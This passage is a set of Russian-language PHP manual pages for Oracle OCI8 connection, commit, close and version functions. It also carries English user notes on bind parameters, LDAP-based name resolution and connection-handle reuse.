It is very important to set up the maxlength of the returning parameter (:r), even when it is returning a number, otherwise the ORA-01460 exception (unimplemented or unreasonable conversion requested) may be raised.
abiyi2000 at yahoo dot com 24-Sep-2011 08:03
I unfortunately spent the whole day trying to make this work as part of OCI bind_by_name insert:

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  -1, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

The string field is always inserting correctly w/o any truncation. The string field is a  varchar2(160) CHAR, but the data used to populate it is 40 chars in length.

The numeric part is of Type Number in the database which is being used to store unix time (10 digit seconds since 1970/01/01.

The problem, the insert was truncating to 9 digits with some bogus value not even related to the input i.e., it's not just a matter of dropping the leftmost or rightmost digit, it'll just insert a 9 digit bogus number.

The only way I was able to resolve this for the numeric field was to set the maxlength to 8 (not 10 which is the number of digits in the input):

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  8, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

Hopefully you'll see this soon before you expend a lot of time repeating the same problem I had.
adrian dot crossley at hesa dot ac dot uk 20-Jul-2009 06:14
Sometimes you get the error "ORA-01461: can bind a LONG value only for insert into a LONG column".  This error is highly misleading especially when you have no LONG columns or LONG values.

From my testing it seems this error can be caused when the value of a bound variable exceeds the length allocated.

To avoid this error make sure you specify lengths when binding varchars e.g.
<?php
oci_bind_by_name($stmt,':string',$string, 256);
?>

And for numerics use the default length (-1) but tell oracle its an integer e.g.
<?php
oci_bind_by_name($stmt,':num',$num, -1, SQLT_INT);
?>
avenger at php dot net 20-Feb-2009 03:54
Dont forget the 5th parameter: $type. It's will slowly your code some times. Eg:

<?php
$sql = "select * from (select * from b xxx) where rownum < :rnum";
$stmt = OCIParse($conn,$sql);
OCIBindByName($stmt, ":rnum", $NUM, -1);
OCIExecute($stmt);
?>

Below code was slow 5~6 time than not use bind value.Change the 3rd line to:

<?php
OCIBindByName($stmt, ":rnum", $NUM, -1, SQLT_INT);
?>

will resloved this problem.

This issue is also in the ADODB DB class(adodb.sf.net), you will be careful for use the SelectLimit method.
ajitsingh4u at gmail dot com 09-May-2008 09:39
//Calling Oracle Stored Procedure
//I assume that you have a users table and three columns in users table i.e. id, user, email in oracle
// For example I made connection in constructor, you can modify as per your requirement.
//http://www.devshed.com/c/a/PHP/Understanding-Destructors-in-PHP-5/1/
<?php
class Users{
    private $connection;

    public function __construct()
    {
        $this->connection = oci_connect("scott", "tiger", $db); // Establishes a connection to the Oracle server;
    }

    public function selectUsers($start_index=1, $numbers_of_rows=20)
    {
        $sql ="BEGIN sp_users_select(:p_start_index, :p_numbers_of_rows, :p_cursor, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        //Bind in parameter
        oci_bind_by_name($stmt, ':p_start_index', $start_index, 20);
        oci_bind_by_name($stmt, ':p_numbers_of_rows', $numbers_of_rows, 20);

        //Bind out parameter
        oci_bind_by_name($stmt, ':p_result', $result, 20); // returns 0 if stored procedure succeessfully executed.

        //Bind Cursor
        $p_cursor = oci_new_cursor($this->connection);
        oci_bind_by_name($stmt, ':p_cursor', $p_cursor, -1, OCI_B_CURSOR);

        // Execute Statement
        oci_execute($stmt);
        oci_execute($p_cursor, OCI_DEFAULT);

        oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);

        echo $result;
        echo '<br>';
        var_dump($cursor); // $cursor is an associative array so we can use print_r() to print this data.
        // you can return data from this function to use it at your user interface.
    }

    public function deleteUser($id)
    {
        $sql ="BEGIN sp_user_delete(:p_id, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        // bind in and out variables
        oci_bind_by_name($stmt, ':p_id', $id, 20);
        oci_bind_by_name($stmt, ':p_result', $result, 20);

        //Execute the statement
        $check = oci_execute($stmt);

        if($check == true)
        $commit = oci_commit($this->connection);
        else
        $commit = oci_rollback($this->connection);

        return $result;
    }

    // You can make function for insert ,update using above two functions

}
?>
08-May-2007 01:59
This is what the old OCI_B_* constants are now called:
(PHP 5.1.6 win32)

OCI_B_NTY - SQLT_NTY
OCI_B_BFILE - SQLT_BFILEE
OCI_B_CFILEE - SQLT_CFILEE
OCI_B_CLOB - SQLT_CLOB
OCI_B_BLOB - SQLT_BLOB
OCI_B_ROWID - SQLT_RDD
OCI_B_CURSOR - SQLT_RSET
OCI_B_BIN - SQLT_BIN
OCI_B_INT - SQLT_INT
OCI_B_NUM - SQLT_NUM
Chris Delcamp 11-Jan-2007 08:48
This is an example of returning the primary key from an insert so that you can do inserts on other tables with foreign keys based on that value.  The date is just used to provied semi-unique data to be inserted.

$conn = oci_connect("username", "password")
$stmt = oci_parse($conn, "INSERT INTO test (test_msg) values (:data) RETURN test_id INTO :RV");
$data = date("d-M-Y H:i:s");
oci_bind_by_name($stmt, ":RV", $rv, -1, SQLT_INT);
oci_bind_by_name($stmt, ":data", $data, 24);
oci_execute($stmt);
print $rv;
hfuecks at nospam dot org 16-Aug-2005 01:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
    if ( preg_match('/^OCI_B_/', $const) ) {
        print "$const\n";
    }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery


Заканчивает процесс чтения из курсора

  • « oci_bind_by_name
  • oci_client_version »
  • PHP Manual
  • OCI8 Функции
  • Заканчивает процесс чтения из курсора

oci_cancel

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_cancel — Заканчивает процесс чтения из курсора

Описание

oci_cancel(resource $statement): bool

Сбрасывает курсор, освобождая все связанные ресурсы и отменяет возможность читать из него.

Список параметров

statement

Запрос OCI.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию клиентской библиотеки

  • « oci_cancel
  • oci_close »
  • PHP Manual
  • OCI8 Функции
  • Возвращает версию клиентской библиотеки

oci_client_version

(PHP 5 >= 5.3.7, PHP 7, PHP 8, PECL OCI8 >= 1.4.6)

oci_client_version — Возвращает версию клиентской библиотеки

Описание

oci_client_version(): string

Возвращает номер версии в виде строки клиентской C-библиотеки Oracle, с которой связан PHP.

Список параметров

Отсутствуют.

Возвращаемые значения

Возвращает номер версии в виде строки (string).

Примеры

Пример #1 Пример использования oci_client_version()

<?php
echo "Версия клиента: " . oci_client_version(); // Версия клиента: 19.9.0.0.0
?>

Примечания

Замечание:

Библиотеки Oracle версий до 10gR2 не имеют необходимого функционала, чтобы выдать номер версии. В этих случаях функция вернёт строку "Unknown".

Смотрите также

  • oci_server_version() - Возвращает версию сервера Oracle

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с сервером Oracle

  • « oci_client_version
  • oci_commit »
  • PHP Manual
  • OCI8 Функции
  • Закрывает соединение с сервером Oracle

oci_close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_close — Закрывает соединение с сервером Oracle

Описание

oci_close(resource $connection): ?bool

Освобождает connection. Соответствующее ему соединение с базой данных будет закрыто при отсутствии использующих его ресурсов и если оно было получено из функции oci_connect() или oci_new_connect().

Рекомендуется закрывать неиспользуемые более соединения, т.к. это освобождает ресурсы базы данных для других пользователей.

Список параметров

connection

Идентификатор соединения Oracle, полученный из функций oci_connect(), oci_pconnect() или oci_new_connect().

Возвращаемые значения

Возвращает null если oci8.old_oci_close_semantics включён или true в противном случае.

Примеры

Пример #1 Закрытие соединения

Сопутствующие соединению ресурсы должны быть закрыты для обеспечения корректного завершения соединения с базой данных и освобождения её ресурсов.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');
$r = oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

// Освобождаем идентификатор выражения при закрытии соединения
oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Соединение базы данных не закрывается до тех пор, пока не будут закрыты все ссылки на него

Внутренний счётчик ссылок (refcount) идентификатора соединения должен равняться нулю перед непосредственным закрытием соединения к базе данных.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments'); // это увеличивает refcount на $conn
oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

oci_close($conn);

// $conn больше не может использоваться в данном скрипте, но реальное
// соединение с базой данных будет открыто, пока не будет освобождена $stid.
var_dump($conn); // выводит NULL

// Пока PHP спит, запрос к виду Oracle V$SESSION в окне терминала
// покажет, что пользователь базы данных всё ещё подключён.
sleep(10);

// Как только $stid освобождается, соединение к базе данных физически закрывается
oci_free_statement($stid);

// Пока PHP спит, запрос к виду Oracle V$SESSION в окне терминала
// покажет, что пользователь базы данных уже отключился.
sleep(10);

?>

Пример #3 Закрытие соединения, открытого несколько раз

При повторном использовании учётных данных пользователя, оба соединения должны быть закрыты перед непосредственным закрытием соединения к базе данных.

<?php

$conn1 = oci_connect('hr', 'welcome', 'localhost/XE');

// Использование тех же учётных данных повторно использует одно и то же
// соединение с базой данных. Любые незафиксированные изменения в
// $conn1 будут видны в $conn2
$conn2 = oci_connect('hr', 'welcome', 'localhost/XE');

// Пока PHP спит, запрос к виду Oracle V$SESSION в окне терминала
// покажет, что подключён только один пользователь базы данных.
sleep(10);

oci_close($conn1); // не закрывает реальное соединение с базой данных
var_dump($conn1); // выводит NULL, т.к. $conn1 теперь бесполезна
var_dump($conn2); // показывает, что $conn2 всё ещё является корректным ресурсом соединения

?>

Пример #4 Соединение закрывается при уходе переменных из области видимости

Когда все переменные, ссылающиеся на соединение, уходят из области видимости и освобождаются PHP, происходит откат транзакции (если необходимо) и соединение с базой закрывается.

<?php

function myfunc() {
$conn = oci_connect('hr', 'hrpwd', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'UPDATE mytab SET id = 100');
oci_execute($stid, OCI_NO_AUTO_COMMIT);
return "Закончили!";
}

$r = myfunc();
// В этой точке происходит откат транзакции и закрывается соответствующее
// соединение с базой данных

print $r; // отображает возвращённое функцией значение "Закончили!"

?>

Примечания

Замечание:

Переменные, зависящие от идентификатора соединений, такие как идентификаторы выражений, полученные из oci_parse(), должны быть также освобождены до закрытия соединения с базой данных.

Замечание:

Функция oci_close() не закрывает соединения с базой данных, созданные функцией oci_pconnect().

Смотрите также

  • oci_connect() - Устанавливает соединение с базой данных Oracle
  • oci_free_statement() - Освобождает ресурсы, занимаемые курсором или SQL-выражением

User Contributed Notes

Fahd Alwashmi (F-A-W) 10-Mar-2012 08:22
please note, you can use oci_close() to close persistent connections opened with oci_pconnect() in PHP ver 5.3 or above.
as stated in here:
http://www.php.net/manual/en/oci8.configuration.php#ini.oci8.persistent-timeout
yepster at hotmail dot com 16-Feb-2002 10:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
    global $conn;
    if( connection_aborted() ) {
        $fp = fopen( "/tmp/shutdown-func.txt", "a" );
        fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
        if( $conn ) {
            OCIRollBack( $conn );
            fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
        }
        fclose( $fp );
    }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.


Подтверждает транзакцию базы данных

  • « oci_close
  • oci_connect »
  • PHP Manual
  • OCI8 Функции
  • Подтверждает транзакцию базы данных

oci_commit

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_commit — Подтверждает транзакцию базы данных

Описание

oci_commit(resource $connection): bool

Подтверждает транзакцию соединения connection. Подтверждение завершает текущую транзакцию и делает все изменения постоянными. Она также освобождает все установленные блокировки.

Транзакция начинается при первом SQL-запросе, изменяющим данные, который был запущен с помощью функции oci_execute() и флага OCI_NO_AUTO_COMMIT. Последующие изменения данных от других запросов также становятся частью данной транзакции. Изменения, сделанные в транзакции, являются временными до тех пор, пока транзакция не будет зафиксирована или пока не будет произведён её откат. Другие пользователи базы данных не смогут увидеть изменения до их подтверждения.

При вставке или обновлении данных рекомендуется использовать транзакции для сохранения целостности данных и увеличения производительности.

Список параметров

connection

Идентификатор соединения Oracle, полученный из функций oci_connect(), oci_pconnect() или oci_new_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_commit()

<?php

// Вставка в несколько таблиц, откат изменений в случае возникновения ошибки

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// Флаг OCI_NO_AUTO_COMMIT сообщает Oracle не фиксировать запрос INSERT при его поступлении
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
oci_rollback($conn); // откат изменений из обоих таблиц
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Фиксация изменений в обоих таблицах
$r = oci_commit($conn);
if (!$r) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Примечания

Замечание:

Транзакции будут автоматически откачены при закрытии соединения или окончании скрипта (в зависимости от того, что случится раньше). Для подтверждения транзакции необходимо явно вызвать функцию oci_commit().

Все вызовы oci_execute(), явно или по умолчанию использующие режим OCI_COMMIT_ON_SUCCESS зафиксируют любую предыдущую незафиксированную транзакцию.

Любой DDL-запрос Oracle, такой как CREATE или DROP автоматически подтверждает любую незавершённую транзакцию.

Смотрите также

  • oci_execute() - Выполняет подготовленное выражение
  • oci_rollback() - Откатывает транзакции, ожидающие обработки

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает соединение с базой данных Oracle

  • « oci_commit
  • oci_define_by_name »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает соединение с базой данных Oracle

oci_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_connect — Устанавливает соединение с базой данных Oracle

Описание

oci_connect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

Возвращает идентификатор соединения, который используется большинством функций данного модуля.

Для повышения производительности большинство приложений должны использовать постоянные соединения с помощью oci_pconnect() вместо oci_connect(). Смотрите Управление соединением для более детальной информации по управлению соединениями и создании пулов подключений.

Второй и последующие вызовы функции oci_connect() с теми же параметрами вернут идентификатор уже открытого соединения. Это означает, что транзакции используют одно и то же базовое соединение с базой данных. При необходимости разделения транзакций рекомендуется использовать функцию oci_new_connect().

Список параметров

username

Имя пользователя Oracle.

password

Пароль username.

connection_string

Содержит экземпляр Oracle для подключения. Это может быть » Easy Connect string, или Connect Name из файла tnsnames.ora, или имя локального экземпляра Oracle.

Если не указано отдельно или null, PHP использует переменные окружения, такие как TWO_TASK (на Linux) или LOCAL (на Windows) и ORACLE_SID для определения экземпляра Oracle для соединения.

Для использования метода Easy Connect, PHP должен быть слинкован с клиентскими библиотеками версии Oracle 10g или старше. Easy Connect string для Oracle 10g принимает следующую форму: [//]host_name[:port][/service_name]. Начиная с Oracle 11g синтаксис таков: [//]host_name[:port][/service_name][:server_type][/instance_name]. В Oracle 19c были введены дополнительные параметры, включая настройки времени ожидания и проверки активности. Обратитесь к документации Oracle. Названия служб могут быть определены с помощью запуска Oracle утилиты lsnrctl status на сервере базы данных.

Файл tnsnames.ora может находиться в поисковом пути Oracle Net, который включает /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin и /etc. В качестве альтернативного варианта можно установить TNS_ADMIN таким образом, чтобы путь $TNS_ADMIN/tnsnames.ora был читаемым. Убедитесь, что веб-сервер имеет доступ к этому файлу.

encoding

Определяет кодировку, используемую клиентскими библиотеками Oracle. Данная кодировка не обязательно должна совпадать с кодировкой, используемой в самой базе данных. Если она не совпадает, Oracle сделает все возможное для конвертирования данных из- и в данную кодировку. В зависимости от используемых кодировок это может не всегда давать приемлемые результаты. Преобразование также создаёт некоторые дополнительные временные затраты.

Если кодировка не указана, клиентские библиотеки Oracle будут определять её из переменной окружения NLS_LANG.

Передача этого параметра может уменьшить время затрачиваемое на соединение.

session_mode

Этот параметр доступен начиная с версии PHP 5 (PECL OCI8 1.1) и принимает следующие значения: OCI_DEFAULT, OCI_SYSOPER и OCI_SYSDBA. Если были указаны OCI_SYSOPER или OCI_SYSDBA, данная функция попытается установить привилегированное соединение, используя внешние данные авторизации. По умолчанию привилегированные соединения отключены. Чтобы их включить, необходимо установить oci8.privileged_connect в On.

В версии PHP 5.3 (PECL OCI8 1.3.4) появилось значение OCI_CRED_EXT. Оно указывает Oracle использовать внешнюю аутентификацию или аутентификацию с помощью операционной системы, что должно быть настроено в базе данных. Флаг OCI_CRED_EXT может быть использован только с именем пользователя "/" и пустым паролем. oci8.privileged_connect может принимать значение On или Off.

OCI_CRED_EXT может использоваться совместно с режимами OCI_SYSOPER и OCI_SYSDBA.

OCI_CRED_EXT не поддерживается в Windows по причинам безопасности.

Возвращаемые значения

Возвращает идентификатор соединения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | connection_string теперь допускает значение null.

Примеры

Пример #1 Пример использования oci_connect() с синтаксисом Easy Connect

<?php

// Подключается к XE сервису (т.е. к базе данных) на "localhost"
$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Пример #2 Пример использования oci_connect() используя имя Network Connect

<?php

// Соединяется с базой данных MYDB описанной в файле tnsnames.ora,
// Пример записи в tnsnames.ora для MYDB:
// MYDB =
// (DESCRIPTION =
// (ADDRESS = (PROTOCOL = TCP)(HOST = mymachine.oracle.com)(PORT = 1521))
// (CONNECT_DATA =
// (SERVER = DEDICATED)
// (SERVICE_NAME = XE)
// )
// )

$conn = oci_connect('hr', 'welcome', 'MYDB');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Пример #3 Пример использования oci_connect() с использованием определённого набора символов

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Пример #4 Пример использования многократных вызовов oci_connect()

<?php

$c1 = oci_connect("hr", "welcome", 'localhost/XE');
$c2 = oci_connect("hr", "welcome", 'localhost/XE');

// $c1 и $c2 содержат одинаковый PHP id ресурса, что означает, что
// они используют одинаковое базовое соединение
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

function create_table($conn)
{
$stmt = oci_parse($conn, "create table hallo (test varchar2(64))");
oci_execute($stmt);
echo "Created table<br>\n";
}

function drop_table($conn)
{
$stmt = oci_parse($conn, "drop table hallo");
oci_execute($stmt);
echo "Dropped table<br>\n";
}

function insert_data($connname, $conn)
{
$stmt = oci_parse($conn, "insert into hallo
values(to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
oci_execute($stmt, OCI_DEFAULT);
echo "$connname inserted row without committing<br>\n";
}

function rollback($connname, $conn)
{
oci_rollback($conn);
echo "$connname rollback<br>\n";
}

function select_data($connname, $conn)
{
$stmt = oci_parse($conn, "select * from hallo");
oci_execute($stmt, OCI_DEFAULT);
echo "$connname ----selecting<br>\n";
while (oci_fetch($stmt)) {
echo " " . oci_result($stmt, "TEST") . "<br>\n";
}
echo "$connname ----done<br>\n";
}

create_table($c1);

insert_data('c1', $c1); // Вставить строку используя c1
sleep(2); // остановиться для записи другой временной метки для следующей строки
insert_data('c2', $c2); // Вставить строку используя c2

select_data('c1', $c1); // Возврат результата обоих вставок
select_data('c2', $c2); // Возврат результата обоих вставок

rollback('c1', $c1); // Откат используя c1

select_data('c1', $c1); // Откат был произведён для обоих вставок
select_data('c2', $c2);

drop_table($c1);

// Закрытие одного из соединений делает переменную PHP недоступной, но
// другие могут быть использованы
oci_close($c1);
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

// Вывод is:
// c1 is Resource id #5
// c2 is Resource id #5
// Created table
// c1 inserted row without committing
// c2 inserted row without committing
// c1 ----selecting
// 09-DEC-09 12:14:43
// 09-DEC-09 12:14:45
// c1 ----done
// c2 ----selecting
// 09-DEC-09 12:14:43
// 09-DEC-09 12:14:45
// c2 ----done
// c1 rollback
// c1 ----selecting
// c1 ----done
// c2 ----selecting
// c2 ----done
// Dropped table
// c1 is
// c2 is Resource id #5

?>

Примечания

Замечание:

Некорректно установленный или настроенный модуль OCI8 будет часто сообщать о проблемах соединения или ошибках. Смотрите Установка/Настройка для решения проблем.

Смотрите также

  • oci_pconnect() - Устанавливает постоянное соединение с сервером Oracle
  • oci_new_connect() - Устанавливает новое соединение с сервером Oracle
  • oci_close() - Закрывает соединение с сервером Oracle

User Contributed Notes

blake dot lewis at gmail dot com 08-Mar-2013 03:10
Using ldap for Oracle name resolution:

  The web server will need the environmental variable TNS_ADMIN='Directory of tnsname.ora' unless the default location is used. I use '/etc/tns_admin'. Confirm using the phpinfo().

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_server_fqdn:port)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The quick part: give it a tnsnames.ora file and start it up. The dirty parts: I can't get Toad and SQLDeveloper to work with it, it ignores the domain and it is no longer being maintained.

  The order of values in NAMES.DIRECTORY_PATH in sqlnet.ora determines which look up 'adapter' is used, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  If connecting with only ORACLE_SID and not ORACLE_SID.DB_DOMAIN, the value of NAMES.DEFAULT_DOMAIN from sqlnet.ora is appended, then for some reason PHP tries the HOSTNAME adapter, and if the database name resolves in DNS, it will fail connecting using the database name as the hostname, because neither SID nor SERVICE_NAME are defined.
  If using tnsManager append '.ANY_DOMAIN' to $ORACLE_SID to hack around the issue above.

  I have tested with:
       11.1.0.7 full client and PHP 5.1.6
       11.2.0.2 full client and PHP 5.4.11

  I have heard that LDAP lookup does not work with older instantclients.
blake dot lewis at gmail dot com 15-Feb-2013 11:38
Using ldap for Oracle name resolution:

  The web server needs the environmental variable TNS_ADMIN='Directory of tnsname.ora'. I use '/etc/tns_admin'. Confirm using the phpinfo() function.

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_fqdn_hostname:1575)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The default port is 1575.

  The order of values in NAMES.DIRECTORY_PATH from sqlnet.ora determines which look up 'adapter' is used first, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  For some reason PHP tries the HOSTNAME adapter first, and if the database name resolves in DNS, it will try connecting using the database name as the hostname with no SID or SERVICE_NAME defined. All other Oracle clients I have used will not try the HOSTNAME adapter unless it is listed in NAMES.DIRECTORY_PATH.
  I have heard that LDAP look up does not work with older instantclients.
Anonymous 10-Feb-2012 06:33
How to connect from PHP to an Oracle database using OID (Oracle Internet Directory):

OID is like a lookup index that contains connection strings for connecting to various databases. Without OID, a database connection string would be stored directly in the code settings and used by the PHP code to connect to a database. With OID, a lookup can be made to the OID LDAP to acquire the database connection string. Then the PHP code will use the acquired database connection string to connect to the database as before.

OID allows a DBA to manage/change which database server that an application uses without having to change any database settings in the PHP application itself or on the application server.

Here are the basic steps for PHP to connect to a database via OID:

- The DBA should provide you the connection information for the OID LDAP as well as the username/password for the database connection.
- Connect to the OID LDAP using the provided information
- Search for the appropriate LDAP record
- Get the connection string data from the record attribute, \&quot;orclnetdescstring\&quot;
- Close the LDAP connection
- Use the acquired connection string data to connect to the database as usual using the provided database username/password.

Here is basic sample code to do this:

// Get connection string from OID LDAP

    $ds=ldap_connect($servername,$serverport); // Connect to ldap
    $r=ldap_bind($ds); // Bind to ldap
    $sr = ldap_search($ds, \&quot;cn=OracleContext,dc=___,dc=___,dc=___\&quot;, \&quot;cn=$sid\&quot;); // Run query
    $info = ldap_get_entries($ds, $sr); // Get entries
    ldap_close($ds); // Close connection

    $dbconnectstring = $info[0][\&quot;orclnetdescstring\&quot;][0]; // Extract db connect string from ldap search result array

// Connect to database using acquired connection string from OID

    $dbconnection = oci_connect ($username,$password,$dbconnectstring);
peter at goldthorp dot com 07-Aug-2011 03:28
I started getting "ORA-12514: TNS:listener does not currently know of service requested in connect descriptor" errors when I upgraded my database instance from 10.2 to 11.2.  For some reason it would not resolve the oci_connect calls with the Easy Connect syntax (easy connect calls from sqlplus were fine).  I was able to workaround the issue by passing a tns connect string:

<?php
$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = oci_connect("name","password",$db);
?>
jtacon at php dot net 07-Feb-2011 05:24
If you upgrades the OCI8, be sure to use the latest oracle instantclient version, otherwise you can receive an "ORA-24315: illegal attribute type" when trying to connect due to incompatibility with some versions.

HTH,
Javier Tacon
Jonathon Robinson 15-Jun-2010 11:12
Regarding the following statement in the documentation:
"The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call."

There's one caveat here.  Subsequent calls to oci_connect() will only return the same connection handle as the first call as long as a reference is held to the original handle.

For example, the following code will generate *one* connection handle:

<?php
$dbh = oci_connect($username, $password, $conn_info);
// Do stuff
$dbh = oci_connect$username, $password, $conn_info);
// Do more stuff

The follow code will generate *two* connection handles:
getData();
// Do stuff
getData();
// Do more stuff

getData() {
    $dbh = oci_connect($username, $password, $conn_info);
    // Do stuff
}
?>

This is the result of PHP garbage collecting the handle at the end of the method scope.

If you want to isolate your DB layer through function calls but still want to leverage the fact that oci_connect can return the same handle, just keep a reference to the handle like so:

<?php
getData($username, $password, $conn_info) {
    $dbh = oci_connect($username, $password, $conn_info);
